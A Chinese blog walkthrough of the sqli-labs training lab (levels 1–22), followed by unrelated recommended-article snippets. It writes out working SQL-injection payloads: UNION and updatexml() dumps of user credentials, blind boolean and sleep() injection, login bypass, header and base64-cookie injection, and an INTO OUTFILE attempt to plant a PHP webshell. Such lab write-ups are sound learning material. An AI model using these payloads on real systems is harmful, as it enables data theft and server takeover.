YEmooX
YEmooX

sqli-labs(1-22)过关手册

1.单引号报错注入
http://ip/Less-1/?id=1' 报错,利用order by 确定字段为3
利用联合查询进行注入
查询数据库名和版本信息
http://ip/Less-1/?id=0' union select 1,database(),version()%23

image.png

接着查询表名
http://ip/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

image.png

再查询users表中的字段名
http://ip/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

image.png

已经得到数据库名，表名，表的字段名，接下来进行查询表中存放的数据。这里查询users表中username、password字段的内容
http://id/Less-1/?id=0' union select 1,group_concat(username),group_concat(password) from security.users%23

image.png

2.数字型报错注入
http://id/Less-2/?id=1 and 1=2进行判断，以及使用'+' '-'判断。
可以直接进行注入
还是第一关步骤一样，先查数据库名和版本，再是表名，字段名，最后查询字段内容。
http://ip/Less-2/?id=0 union select 1,database(),version()%23

image.png

3.字符串报错注入
使用单引号报错，查看报错信息，多了一个反括号，闭合后再进行联合查询。


image.png

查询语句:
http://ip/Less-3/?id=0') union select 1,database(),version()%23

image.png

4.双引号字符串报错注入
双引号报错提示

image.png

使用双引号和反括号进行闭合，再使用联合注入查询。
http://ip/Less-4/?id=0") union select 1,database(),version()%23

image.png

5.双单引号报错注入
输入id=1，正常回显，id=1'，回显错误，id=1''，回显正常。采用报错注入。利用函数updatexml()，进行注入。
查询数据库版本信息
http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select version()),0x7e),1)%23

image.png

查询数据库名
http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1)%23

image.png

查询表名

http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)%23

image.png

查询users表中的字段名

http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)%23

image.png

查询字段内容

http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)%23

image.png

发现username的字段内容不全，是因为updatexml()最大输出长度是32位。而floor最大输出为64位。

也可以更换updatexml()里面的查询语句，修改limit 0,1参数进行逐个查询
http://ip/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 1,1),0x7e),1)%23

image.png

6.双-双引号报错注入
和上一关类似，一个双引号报错，两个双引号回显正常
查询语句
http://ip/Less-6/?id=1" union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1)%23

image.png

7.Dump into outfile
输入一个id=1，确定回显的正常页面。
id=1',报错
id=1",正常
id=1" and 1=2%23,正常，说明 and 1=2没有被执行，也就是说" 被没有闭合
id=1')%23,报错
id=1'))%23,正常
id=1')) and 1=2%23,报错，说明and 1=2被执行了，闭合条件为id=1'))
根据题目outfile提示，可以写文件到mysql，但需要绝对路径。
这关很明显注不出来绝对路径，回到第一关,使用@@datadir查询数据库路径。
查询语句：
http://ip/Less-1/?id=0' union select 1,2,@@datadir%23

image.png

获得绝对路径为/var/lib/mysql/
回到Less-7，进行文件写入
http://ip/Less-7/?id=0')) union select 1,2,into outfile "\var\lib\mysql\1.txt"%23
写入报错，去到自己服务器该目录查看是否写入成功，没有写入进去。
开始百度找原因~~~写入权限不够，回到自己服务器赋予777权限。
使用代码测试一下是否有写入权限
http://ip/Less-7/?id=1')) and (select count(*) from mysql.user)>0%23
回显正常说明有写入权限，回显错误则没有
image.png

再一次写入文件，代码如下
http://ip/Less-7/?id=0')) union select 1,2,"" into outfile "\var\lib\mysql\1.php"%23
还是报错，服务器路径还是没有文件。
(后续更新~~妈耶，咋搞哇)
我又回来啦，接到写
原因找到了
因为我是docker搭的环境，写入的目录为：
/var/lib/docker/overlay2/36c390646f826a816dc68d06fb2dffc94fccadbfdc44d51a20fb8f9f70ee6260/diff/tmp
不要问我怎么找出来的（腾讯云发短信告诉我这里面有木马！！！！）
最后一次写文件，代码如下：
http://ip/Less-7/?id=0')) union select 1,2,'123' into outfile '/tmp/12.txt'%23

image.png

虽然报错，但进到那个蛇皮目录会发现已经写进去了

image.png

都怪我太菜。
写入一句话木马：
http://ip/Less-7/?id=0')) union select 1,2,"" into outfile "/tmp/3.php"%23
image.png

成功写入
image.png

好像少了个 ; 回头补上，因为是docker环境我就不连菜刀了。

8.单引号盲注
输入id=1,回显正常，输入id=1'，无回显；再输入 id=1' and 1=1%23，回显正常。


image.png

判断为单引号闭合的盲注。
采用布尔盲注进行注入。
判断数据库长度
http://ip/Less-8/?id=1' and length(database())>9%23
判断数据库长度是否大于9，无回显，说明数据库长度小于9

image.png

判断数据库长度是否大于5，回显正常。
再判断数据库长度是否在于7，回显正常。
则数据库长度小于9大于7，为8，再使用代码确认一下
http://ip/Less-8/?id=1' and length(database())=8%23
回显正常。

接着猜解数据库名

http://ip/Less-8/?id=1' and left(database(),1)>'a'%23
判断数据库第一个字符是否比 a 大，回显正确，因为数据库为security，字母's'的ascii比字母'a'的大，所以返回正确。当确定第一个字母为 s时，再确定第二个字母，比较代码为：
http://ip/Less-8/?id=1' and left(database(),2)>'sa'%23
回显正确，'sa'换成'sf'，回显错误。后面的6个字符判断套路都是一样的，就不演示了，也可以写个脚本或者用sqlmap跑。
确定了 数据库名为'security'，再去猜解表名。

猜解第一个表的第一个字符

http://ip/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101%23

image.png

回显正确，说明第一个表的第一个字符为e，这里不知道ascii码编号的可以百度一下，a为97，b-98，c-99，d-100，e-101；
猜解第一个表的第二个字符修改，substr(**,2,1)第二个参数即可，substr为分片函数。
猜解第二个表的第一个字符修改为limit 1,1；具体用法百度.
依次猜解表名。

猜解表中字段名，这里以users表为例
http://ip/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)%23

image.png

判断users表中是否有us**字段，回显正常说明存在，无回显说明没有。
其实也可以用length先判断字段长度，再使用二分法来猜解。
进一步判断username字段是否存在
http://ip/sqllib/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)%23
判断第二个字段password也可以采用同样的方法.

猜解字段内容

http://ip/Less-8/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68%23

image.png

获取username中的第一行的第一个字符的ascii，与68进行比较，即为D。
修改limit参数即可获取字段内容。

9.单引号时间盲注
查看源码，回显界面都无变化，sql查询语句需要单引号闭合，采用时间盲注。


图片.png

首先输入id=1,浏览器快速响应
在输入id=1' and sleep(5)%23，可以发现浏览器要经过一段时间才能响应
这里可以借助burpsuite进行测试。
id=1响应为50millis


图片.png

id=1' and sleep(5)%23响应时间为5057millis


图片.png

采用if()函数进行判断，格式为if(Condition,A,B)
意思是：当Condition为true时，返回A；当Condition为false时，返回B；
此时猜解数据库名的SQL注入语句可以进行如下构造：
1' and if(ascii(substr(database(),1,1))>96,sleep(5),0)%23


图片.png

意思是如果数据库名的第一个字符的ascii大于96，则执行sleep(5)函数，否则返回0
也就是说当我们看见浏览器响应时间变长了，说明if条件语句为真执行了sleep函数。
因为数据库名为security，s的ascii码大于a，所以能借此猜解数据库名。
后续的Condition语句,和Less-8类似这里就不重复了。
10.双引号时间盲注
和Less-9类似，只是单引号闭合变成双引发闭合，后面的语句一样的。

11.POST-报错注入
Less1-Less10都为GET请求，Less11开始为POST请求。
可以借助burpsuite进行测试，或者使用hackbar，记住千万别自动更新！！！
这里以hackbar为主，F12开始hackbar，选上Post data选项。
点击查看器，选中输入框查看传参变量，为uname和passwd
在post data中填写数据提交，回显页面正常。


图片.png

给uname变量赋予单引号提交报错。


图片.png

使用永真语句进行登录尝试
uname=123' or 1=1%23&passwd=123
图片.png

成功登录

12.双引号报错注入
以为和Less-11一样，只把单引号变成双引号就行，怪我太天真，看了源码才发现变量uname被()包裹着，则注入语句变成了： uname=1uname和$passwd被('')包裹
此时Post语句为:
uname=1') or 1=1%23&passwd=123

图片.png

成功登录

14.Less-14
根据题目输入双引号，报错


图片.png

payload:uname=1" or 1=1 %23&passwd=123


图片.png

15.Less-15
查看源码，发现把报错信息给注释了，也就是说要盲注，只有当注入成功才会回显成功信息。
payload:
uname=1' or 1=1%23&passwd=123

16.Less-16
Payload: uname=1") or 1=1%23&passwd=1234

17.Less-17
终于换类型了~密码重置
查看源码，发现过滤函数

图片.png

魔术引号：在特殊符号前面添加
get_magic_quotes_gpc ( void ) : bool
返回当前 magic_quotes_gpc配置选项的设置，如果 magic_quotes_gpc 为关闭时返回 0，否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。

stripslashes()，删除反斜杠
一定操作猛如虎？？？？？？？？

ctype_digit()检测是否为纯数字，是返回true，否返回false

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符

再往下看，发现只有uname经过了check_input()函数，而passwd没有。而密码更新语句为：

(
图片.png

只需要一个正确的用户名即可重置密码

则可以构造payload:
uname=Dumb&passwd=123


图片.png

18.Less-18
查看源码，发现用户名和密码都要经过mysql_real_escape_string() 函数转义 ，只能从User-Agent，和ip入手，而且要输入正确的账户密码才能进入insert语句。
手动添加User-Agent头，在多添加一个')，进行报错


图片.png

也可以使用X-Forwarded-For来伪造ip
这里采用User-Agent进行注入，闭合insert语句
User-Agent:1',1,1)#


图片.png

成功闭合。
进行报错注入payload:
User-Agent:1',1,updatexml(1,concat(0x7e,(select database()),0x7e),1))#
图片.png

成功注入，updatexml()报错注入语法已经在前面说过了，这里就不演示了~~

19.Less-19
和Less-18一样，通过http头注入，但注入位置变成referer了
使用referer:1',1)#进行闭合


image.png

查询数据库payload:
referer: 1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#

image.png

后面的爆表爆字段就不演示了。

20.Less-20
和18，19一样为http头注入，这里注入地方为cookie,先正常登录查看cookie格式
格式为：cookie:uname=Dumb
利用hackbar插件构造cookie进行注入
payload:
Cookie:uname=123 'and updatexml(1,concat(0x7e,(select database()),0x7e),1)#


image.png

后面的爆表爆字段就不演示了。

21.Less-21
以为后20题一样，只不过cookee参数被('')包裹，进行闭合，然后注入，发现没有数据出来
payload:
cookie:uname=123') or updatexml(1,concat(0x7e,(select database()),0x7e),1)#


image.png

emmmmmmmmmmm~~~~~~
再仔细看看源码~
发现经过base64编码，这就好办了，把cookie注入语句编码了再传输。
把123') or updatexml(1,concat(0x7e,(select database()),0x7e),1)#进行base64编码，
编码后结果为：
MTIzJykgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSM=
写入Cookie，提交


image.png

注：这是我使用站长工具的base64编码过不去，更换了其他网站进行编码，网址：
http://tool.chinaz.com/Tools/Base64.aspx
https://base64.us/
如果有小伙伴知道为什么这两个网站base64编码不一样的原因请告知下，让我学习学习~

22.Less-22
和上一题一样，不过闭合条件从')变成"
同样base64加密再传输
payload:
Cookie:uname=MTIzIiBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIw==


image.png

Basic Challenges已经全部做完啦，剩余的Advanced Injections、Stacked Injections、Challenges看护网时间来更新~

你可能感兴趣的:(sqli-labs(1-22)过关手册)

  • QQ群采集助手，精准引流必备神器 2401_87347160 其他经验分享
    功能概述微信群查找与筛选工具是一款专为微信用户设计的辅助工具，它通过关键词搜索功能，帮助用户快速找到相关的微信群，并提供筛选是否需要验证的群组的功能。主要功能关键词搜索：用户可以输入关键词，工具将自动查找包含该关键词的微信群。筛选功能：工具提供筛选机制，用户可以选择是否只显示需要验证或不需要验证的群组。精准引流：通过上述功能，用户可以更精准地找到目标群组，进行有效的引流操作。3.设备需求该工具可以
  • 数据结构之哈希表 X同学的开始 数据结构数据结构散列表
    哈希表(散列表)出现的原因在顺序表中查找时，需要从表头开始，依次遍历比较a[i]与key的值是否相等，直到相等才返回索引i；在有序表中查找时，我们经常使用的是二分查找，通过比较key与a[i]的大小来折半查找，直到相等时才返回索引i。最终通过索引找到我们要找的元素。但是，这两种方法的效率都依赖于查找中比较的次数。我们有一种想法，能不能不经过比较，而是直接通过关键字key一次得到所要的结果呢？这时，
  • 【无戒学堂】曾国藩如何“脱胎换骨” 真的雾月
    曾国藩老家在湖南省的白杨坪，地处偏远，交通不便，祖辈数代没有读书人。曾国藩祖父以超越自身的眼光，不惜血本供子孙读书，希望将来能走出这片天地。曾国藩与父亲两人数次考试，数次落榜。在曾国藩23岁那年突然考中秀才，此后一路过关斩将，中进士授翰林。老曾家光宗耀祖，成为方圆几十里第一大户。由于环境的原因，当时的曾国藩气质和庸鄙的乡下读书人无二，心中所想无非只是升官发财。刚过而立之年的曾国藩，也有着许多大大小
  • word转html制作操作手册,Word文档转换为HTML帮助文档操作手册范本.pdf 想吃草莓干 word转html制作操作手册
    Word文档转换为HTML帮助文档操作手册一、使用到的软件DOC2CHMDreamweaverCS3Helpandmanual4二、操作步骤1.先建立一个工作目录。如hhwork。2.将需要转换的文件复制到此工作目录下。如果是中文文件名，最好将其改为英文文件名。例：现在要将《小神探点检定修信息管理系统使用手册0.3.6.doc》转换为Html格式的帮助文档，首先将此文档复制到hhwork目录下并将
  • Three.js AnimationUtils 和 AnimationObjectGroup 灵魂清零 three前端web3javascript
    AnimationObjectGroup接收共享动画状态的一组对象。在使用手册的“下一步”章节中，“动画系统”一文对three.js动画系统中的不同元素作出了概述用法:将本来要作为根对象传入构造器或者动画混合器(AnimationMixer)的clipAction方法中的对象加入组中，并将这个组对象作为根对象传递。注意，这个类的实例作为混合器中的一个对象，因此，必须对组内的单个对象做缓存控制。限制
  • 对老婆好，你才能出人头地！！！ 一生所求8
    一个男人要出人头地，第一件事，是对老婆好。有多少男人，忙着以“打拼事业”为借口，把自己变成了甩手掌柜，以为自己只要按时带钱回家就完成了全部任务。可真正爱家爱老婆的男人，只要一有空闲就会往家跑，他不会让家人担心，不会让孩子失望，会花心思用心陪伴。这样的男人，从不让你提心吊胆，天天在家里盼着他回来。你知道，不管在任何时候，他都会在你身后。女人的欣赏和崇拜，男人的心理营养有人研究过关于爱老婆和事业成功之
  • 练就理论联系实际的真功夫 TBC
    理论联系实际是中国共产党的三大作风之一，理论从实际中来，要到实际中去。理论不是唯一的真理，理论要在现实中接受实践的检验，才能更好地指导实践，理论脱离实际就会变成一种僵硬的教条，茶杯硬套锅盖，风马牛不相及。理论从实际中来，并接受实践的检验。理论是一种经验总结，是我们的指导手册，引导我们的方向盘，它能指引我们在贯彻落实工作中少走弯路。理论是前人阶段性工作的经验总结，它使得我们能站在“巨人的肩膀”上更为
  • Xilinx 7系列FPGA架构之器件配置（二） FPGA技术实战 FPGA器件架构XinxFPGA硬件设计fpga开发
    引言：本文我们介绍下7系列FPGA的配置接口，在进行硬件电路图设计时，这也是我们非常关心的内容，本文主要介绍配置模式的选择、配置管脚定义以及如何选择CFGBVS管脚电压及Bank14/15电压。1.概述Xilinx®7系列设备有五个配置接口。每个配置接口对应一个或多个配置模式和总线宽度，如表1所示。有关接口详细的时序信息，可以参阅相应的7系列FPGA数据手册。配置时序主要与FPGA配置时钟管脚CC
  • OrangePi5 RK3588本地部署基于Cesium的WebGL应用 vinlandtech webgl
    基于OranglePi5平台，本地部署WebGIS应用步骤：1、下载oranglepi5ubuntu22.04镜像，按用户手册进行烧写。链接：https://pan.baidu.com/s/1g-TO3DeIl1M1JfAPHbCyxg提取码：vlzt2、下载安装WebGL工具包。该软件包针对RK3588WebGL应用进行一定优化。链接：https://pan.baidu.com/s/1jP__h
  • 【Python】np.hstack()和np.vstack函数详解和示例 木彳 Python学习和使用过程积累python开发语言
    本文通过函数原理和运行示例，对np.hstack()和np.vstack函数进行详解，以帮助大家理解和使用。更多Numpy函数详解和示例，可参考【Python】Numpy库近50个常用函数详解和示例，可作为工具手册使用目录np.hstack()函数解析运行示例一维数组二维数组np.vstack()函数解析运行示例np.hstack()np.hstack()是NumPy库中的一个函数，用于将两个或更
  • 当前最流行的架构设计模式 turingbooks
    《微服务设计（第2版）》最可贵的地方在于，不光具备理论性与系统性，更为注重实践性与可操作性。全书勾勒出一幅从宏观到细节，再到组织落地的微服务架构整体实施蓝图。无论是对关注微服务领域的工程师与架构师，还是对寻求架构升级的管理者与决策者来说，本书都可以作为指导手册。——沈剑，快狗打车CTO《微服务设计（第2版）》萨姆·纽曼|著钟健鑫张沙沙智伟|译软件开发大神MartinFowler如此推荐本书：“微服
  • 《我的单一饮食之路》前言——纵深阅读引领提纲 末号义工
    所谓纵深阅读，就是把大本“前言”与小本“手册”的内容相联系，巩固印象，加深理解。每个题目都包含“前言”阅读点+“手册”阅读点+思考题三项内容，希望大家按进度要求联系阅读，思考答题，然后把自己对思考题的理解，在群里公开分享。一、思考题（四大题13小题）第一题、《前言》“思路3”对健康四基石的补充，以及“思路6”中“一一对健康要素进行排查”的提法，与《手册》问5“什么是生活方式？健康生活方式包括哪些要
  • 《高效阅读》读后感 阳光日记_7b8a
    高效阅读作者:渡边康弘最近很困惑，读的书很多，但是记住的却很少，通过读书对自己的影响微乎甚微，感觉是不是自己的阅读方法有问题，于是看了这本书。这本书利用三个晚上孩子睡着后的时间读完的，也是最近读的最快、最有感觉的一本书，深深的被书中的内容所吸引。这本书是核心内容是“共振阅读法”，但讲这种阅读方法的篇幅不多，举例比较多。这种阅读方法就是找到书中的“共振词汇”，也就是关键字，通过关注与关键字相关的内容
  • 读书笔记《焦虑自救手册》 如雪般飞舞
    各位好，今天我们讲一本非常实用的小书，叫作《焦虑自救手册》。昨天我见到一个朋友，他就有焦虑症。他说你们不是讲过两本关于焦虑症的书了吗，而且讲得都很好，为什么还要再讲一本？我说因为大部分读者的焦虑症还没有缓解，只要有读者的焦虑症还没有缓解，我们其实就应该继续地探索这方面的话题。为什么呢？因为这本书的作者告诉我们，对于焦虑的治疗来说，一个非常重要的原理就是不断地重复。就是我们要一而再、再而三的重复，直
  • 跟我一起写 SIPp XML scenario file 之二 无名387 os通讯
    就我个人的体会而言，貌似没什么秘诀，无非是：勤查手册拿到一个样本，进行临摹，多加练习分析有几个SIP事务如果SIPp做uas,totag是自己产生的fromtag,totag要不要颠倒过来requesturl的url来自何处如果uas主动发request,via是自己产生的要不要支持sipproxy目标是：拿到任意pcap文件，都可以写出对应的XMLscenariofile另：手册在这里：http
  • 2022-08-05 为什么手抖
    紧张手抖该怎么办？一，减少自我关注。意思是要让自己的注意力转移到所面临的具体事务上，而不要太过关注自己的感觉，这是很重要的一点。为了减少对自我的关注，要在所处的情境中学会关注你的真正的问题，比如应聘、考官、环境等。二，放弃控制意图。植物神经系统的工作是很难在短时间内受到我们的意识控制的，所以越是努力去控制就越是容易发现我们的控制是没有任何效果的，结果就是让自己处于紧张、焦虑甚至不堪的状态。放弃控制
  • 二十四节气风俗手册之春夏篇，《后浪》里的这些布置，你了解多少 爱追剧的大南瓜家
    每次看《后浪》里的节气片段，尤其关注其最后毛笔落款下的桌面，画面是分镜头走向全景，再走向特写。那时候就觉得，桌面的布置尤其特色，是当季特色，是风俗习惯，是剧组的用心。小编终于等到了官微出品的节气布置台面的细节图，先给个好评，这次是不完全的春夏的节气们！立春（2月3日-2月4日）“立”是开始的意思。春是温暖鸟语花香，春是长生耕耘播种，从立春到立夏，都被称为春天。粉红色茶巾+豆青色茶具桌面放着迎春花，
  • 0317《文案创作完全手册》有吸引力的标题就是好标题 言时
    【书名】《文案创作完全手册》【阅读内容】第二章2.3~2.7【阅读主题】有吸引力的标题就是好标题【三个问题】1、标题的基本类型有哪些？直言式标题：这种标题开宗明义便点明了商品宣传，不玩文字游戏、隐喻或双关语。暗示式标题：婉转暗示的标题不直接做推销，而是先勾起好奇心，然后才透过广告内文解答读者的疑惑。新知式标题：假如你有关于商品的新消息，不妨在标题中就说出来。“如何”式标题：无论在广告标题、杂志文章
  • 莆田鞋十大良心微商推荐,10个高瞻远瞩的良心微商千万要收藏起来 美表之家
    莆田鞋是指在中国福建省莆田市生产的一种星潮运动鞋。近年来，莆田鞋逐渐走红，成为了微商们的销售对象。然而，由于市场竞争激烈，有些微商出现假货、质量不过关等问题。这篇文章将会介绍莆田鞋十大良心微商推荐，帮助消费者选择靠谱的微商。详情→66924901.玖伍工厂玖伍工厂，靠谱的莆田鞋十大良心微商，主要高性价比鞋子，而且鞋子都是保证质量的，有任何问题包退。从事鞋子销售多年，一直以诚信靠谱赢得了很多客户的认
  • RabbitMQ 手册 - "Hello World" 乡间IT学者
    英文原文链接介绍准备本手册假定RabbitMQ已经安装并且运行在本机，监听了标准的5672端口。如果你使用了不同的主机，端口或者凭证，连接设置也需要相应地调整。从哪里获取帮助如果你在阅读本手册有任何困惑，可以通过邮件列表联系我们RabbitMQ是一个消息代理：它接受并转发消息。你可以认为他是一个邮局：当你在邮箱放了一封你想邮送的信件，你可以确定某个邮递员最终会将邮件送达给收件人。在这个类比中，Ra
  • java的socket实现一个九宫棋游戏 睡不醒的小泽
    前言一个简单的socket小作品=v=一个机酱在大三实验课中接触到很基础的JAVA语言socket编程。至于你问为什么嵌入式的机酱会弄些Java吗？emmmmm，可能是当初C语言版的不够好玩吧，另外如果碰巧有用，欢迎抱走的yoo在之前的笔记《网络基础知识和网络编程》中有讲解过关于网络编程的一些基本知识，以及一些LinuxC的socket编程，希望粗浅了解socket内部肌理的同学，右转咱的学习笔记
  • 测者的测试技术手册：Junit执行单元测试用例成功，mvn test却失败的问题和解决方法 Criss陈磊
    今天遇见了一个奇怪的问题，在IDE中rununittest，全部cases都成功了，但是后来通过mvntest运行case确保错了。在寻求原因的同时也找到了对应的解决方法。RunUnitTest和Maventest的区别差异1：在IDE中通过选中单元测试路径，点击右键选择runtest和点击maven中的test是有区别的。在Maven执行测试的过程中，是不允许测试cases访问其他项目的测试类和
  • 亲子日记第64篇 丫丫宝贝0507
    2018年3月30日星期五天气晴今天是周五，晚上张我学舞蹈。今天又没有赶上校车，又跟着金金去她家吃饭，吃完饭，金金爸爸把我们俩送过去学舞蹈。今晚我们学舞蹈先热身，再练基本功。基本功都过关了，但是练组合《你不是我的菜》，我们都没有通过，老师就把让我继续跳，合格了才能拿回奖的进步卡。第一轮我没有合格，第二轮我合格了，又拿回奖励的进步卡。到最后还有4名同学没有拿回，老师让她们继续练，下次舞蹈课，合格了再
  • JavaScript 中 xml 的解析（dom4j 解析器），web前端开发规范手册 2401_84094868 程序员前端javascriptxml
    创建元素：Elementschool=DocumentHelper.createElement(“school”);创建文本：school.addText(“光明小学”);指定位置添加：list.add(1,school);回写xml：和在末尾添加一样7、获取属性值attributeValue()：获取属性值publicstaticvoidmain(String[]args)throwsDocum
  • 思考：怎样让自己每天都精力充沛 廷伟
    让自己方向坚定，精力充沛的能量法则：Habit习惯能量的倍增Energy精力，能量的来源Attention注意力，能量的转化Target目标，能量的积累这是读张家瑞老师的《能量法则》最重要的四句话。从2018年认识家瑞，一起在AACTP武汉主席峰会一起学习，一起成长，到受他影响，定下更大的目标，践行《职场圆梦手册》，到现在读他的书，更加了解他的经历，一路以来，受他影响颇多。进入地产行业以来，日益忙
  • 日复盘计划100天-69day 君暖2018
    日更356天69/100成功事件1.早起（7:05）2.吃早餐-空腹3.完成今日的能量朗读（第99天）4.完成日更（第356天）5.步行超过9000步（太棒啦）6.阅读《好心情手册》10分钟今日感悟昨天下班提醒今天公司要体检，需空腹，于是一早起来，不仅没吃东西，而且连水也没喝，因为停电了，没法烧水喝。八点，医院体检的人还没来，又因为停电，本来是后天盘点的，就提前了一天，安排到今天盘点了。于是，一上
  • 曲线的平滑平滑处理 zq4132 c++qtc数据算法
    最近在写一些数据处理的程序。经常需要对数据进行平滑处理。直接用FIR滤波器或IIR滤波器都有一个启动问题，滤波完成后总要对数据掐头去尾。因此去找了些简单的数据平滑处理的方法。在一本老版本的《数学手册》中找到了几个基于最小二乘法的数据平滑算法。将其写成了C代码，测试了一下，效果还可以。这里简单的记录一下，算是给自己做个笔记。算法的原理很简单，以五点三次平滑为例。取相邻的5个数据点，可以拟合出一条3次
  • 四年级英语复习计划 白沙小学钟晓丹
    （1）围绕课本复习期末考试主要考的是课本知识。特别是对于低年级的学生来说，卷面的百分之七十以上的题都是书上的内容。复习阶段要侧重于对课本的复习与梳理，全册快速地过一遍，结合平时的笔记来对各单元的知识要点进行梳理和掌握，同时应注意基础单词、词组、句型、语法的过关，课本上的对话和课文也要每天复习。有条理的复习可以帮助同学们回想所学过的知识点，可以让自己对知识的记忆更加深刻，让自己对所学的英语知识能够进
  • [C高手编程] 自增自减/三目运算符/运算符优先级/强制类型转换：表达式与操作全面解析 极客代码 c语言开发语言自增三目运算符强制类型转换自减
    ⚡️⚡️专栏：C高手编程-面试宝典/技术手册/高手进阶⚡️⚡️「C高手编程」专栏融合了作者十多年的C语言开发经验，汇集了从基础到进阶的关键知识点，是不可多得的知识宝典。如果你是即将毕业的学生，面临C语言的求职面试，本专栏将帮助你扎实地掌握核心概念，轻松应对笔试与面试；如果你已有两三年的工作经验，专栏中的内容将补充你在实践中可能忽略的新技术和技巧；而对于资深的C语言程序员，这里也将是一本实用的技术备
  • 2021年8月8日日精进 曾经的年华
    京心❤️达：樊伟伟2021年8月8日日精进日落地真经严格就是爱，放纵既是害油卡目标：80张、完成28张正能量语录每一颗螺丝都有标准每一颗螺丝都是标准今日体验：有些时候客户在意的并不是价格高低，而是在意品质和技术，只要价格比4S店低，质量和技术都没问题，成交还是很容易的，不同的客户不同的需求，但是我们唯一要做的就是质量和技术必须得过关，一个问题修好几遍，换成是谁都会怀疑质量和技术的。
  • 算法 单链的创建与删除 换个号韩国红果果 c算法
    先创建结构体 struct student { int data; //int tag;//标记这是第几个 struct student *next; }; // addone 用于将一个数插入已从小到大排好序的链中 struct student *addone(struct student *h,int x){ if(h==NULL) //??????
  • 《大型网站系统与Java中间件实践》第2章读后感 白糖_ java中间件
           断断续续花了两天时间试读了《大型网站系统与Java中间件实践》的第2章，这章总述了从一个小型单机构建的网站发展到大型网站的演化过程---整个过程会遇到很多困难，但每一个屏障都会有解决方案，最终就是依靠这些个解决方案汇聚到一起组成了一个健壮稳定高效的大型系统。          看完整章内容，
  • zeus持久层spring事务单元测试 deng520159 javaDAOspringjdbc
    今天把zeus事务单元测试放出来,让大家指出他的毛病, 1.ZeusTransactionTest.java 单元测试   package com.dengliang.zeus.webdemo.test; import java.util.ArrayList; import java.util.List; import org.junit.Test; import
  • Rss 订阅 开发 周凡杨 htmlxml订阅rss规范
                    RSS是 Really Simple Syndication的缩写（对rss2.0而言，是这三个词的缩写，对rss1.0而言则是RDF Site Summary的缩写，1.0与2.0走的是两个体系）。   RSS
  • 分页查询实现 g21121 分页查询
    在查询列表时我们常常会用到分页，分页的好处就是减少数据交换，每次查询一定数量减少数据库压力等等。 按实现形式分前台分页和服务器分页： 前台分页就是一次查询出所有记录，在页面中用js进行虚拟分页，这种形式在数据量较小时优势比较明显，一次加载就不必再访问服务器了，但当数据量较大时会对页面造成压力，传输速度也会大幅下降。 服务器分页就是每次请求相同数量记录，按一定规则排序，每次取一定序号直接的数据
  • spring jms异步消息处理 510888780 jms
    spring JMS对于异步消息处理基本上只需配置下就能进行高效的处理。其核心就是消息侦听器容器，常用的类就是DefaultMessageListenerContainer。该容器可配置侦听器的并发数量，以及配合MessageListenerAdapter使用消息驱动POJO进行消息处理。且消息驱动POJO是放入TaskExecutor中进行处理，进一步提高性能，减少侦听器的阻塞。具体配置如下：
  • highCharts柱状图 布衣凌宇 hightCharts柱图
    第一步：导入 exporting.js,grid.js,highcharts.js;第二步：写controller   @Controller@RequestMapping(value="${adminPath}/statistick")public class StatistickController {  private UserServi
  • 我的spring学习笔记2-IoC（反向控制 依赖注入） aijuans springmvcSpring 教程spring3 教程Spring 入门
    IoC（反向控制 依赖注入）这是Spring提出来了，这也是Spring一大特色。这里我不用多说，我们看Spring教程就可以了解。当然我们不用Spring也可以用IoC，下面我将介绍不用Spring的IoC。 IoC不是框架，她是java的技术，如今大多数轻量级的容器都会用到IoC技术。这里我就用一个例子来说明： 如：程序中有 Mysql.calss 、Oracle.class 、SqlSe
  • TLS java简单实现 antlove javasslkeystoretlssecure
      1. SSLServer.java package ssl; import java.io.FileInputStream; import java.io.InputStream; import java.net.ServerSocket; import java.net.Socket; import java.security.KeyStore; import
  • Zip解压压缩文件 百合不是茶 Zip格式解压Zip流的使用文件解压
       ZIP文件的解压缩实质上就是从输入流中读取数据。Java.util.zip包提供了类ZipInputStream来读取ZIP文件,下面的代码段创建了一个输入流来读取ZIP格式的文件; ZipInputStream in = new ZipInputStream(new FileInputStream(zipFileName));     &n
  • underscore.js 学习（一） bijian1013 JavaScriptunderscore
            工作中需要用到underscore.js，发现这是一个包括了很多基本功能函数的js库，里面有很多实用的函数。而且它没有扩展 javascript的原生对象。主要涉及对Collection、Object、Array、Function的操作。       学
  • java jvm常用命令工具——jstatd命令(Java Statistics Monitoring Daemon) bijian1013 javajvmjstatd
    1.介绍         jstatd是一个基于RMI（Remove Method Invocation）的服务程序，它用于监控基于HotSpot的JVM中资源的创建及销毁，并且提供了一个远程接口允许远程的监控工具连接到本地的JVM执行命令。         jstatd是基于RMI的，所以在运行jstatd的服务
  • 【Spring框架三】Spring常用注解之Transactional bit1129 transactional
    Spring可以通过注解@Transactional来为业务逻辑层的方法(调用DAO完成持久化动作)添加事务能力，如下是@Transactional注解的定义：   /* * Copyright 2002-2010 the original author or authors. * * Licensed under the Apache License, Version
  • 我(程序员)的前进方向 bitray 程序员
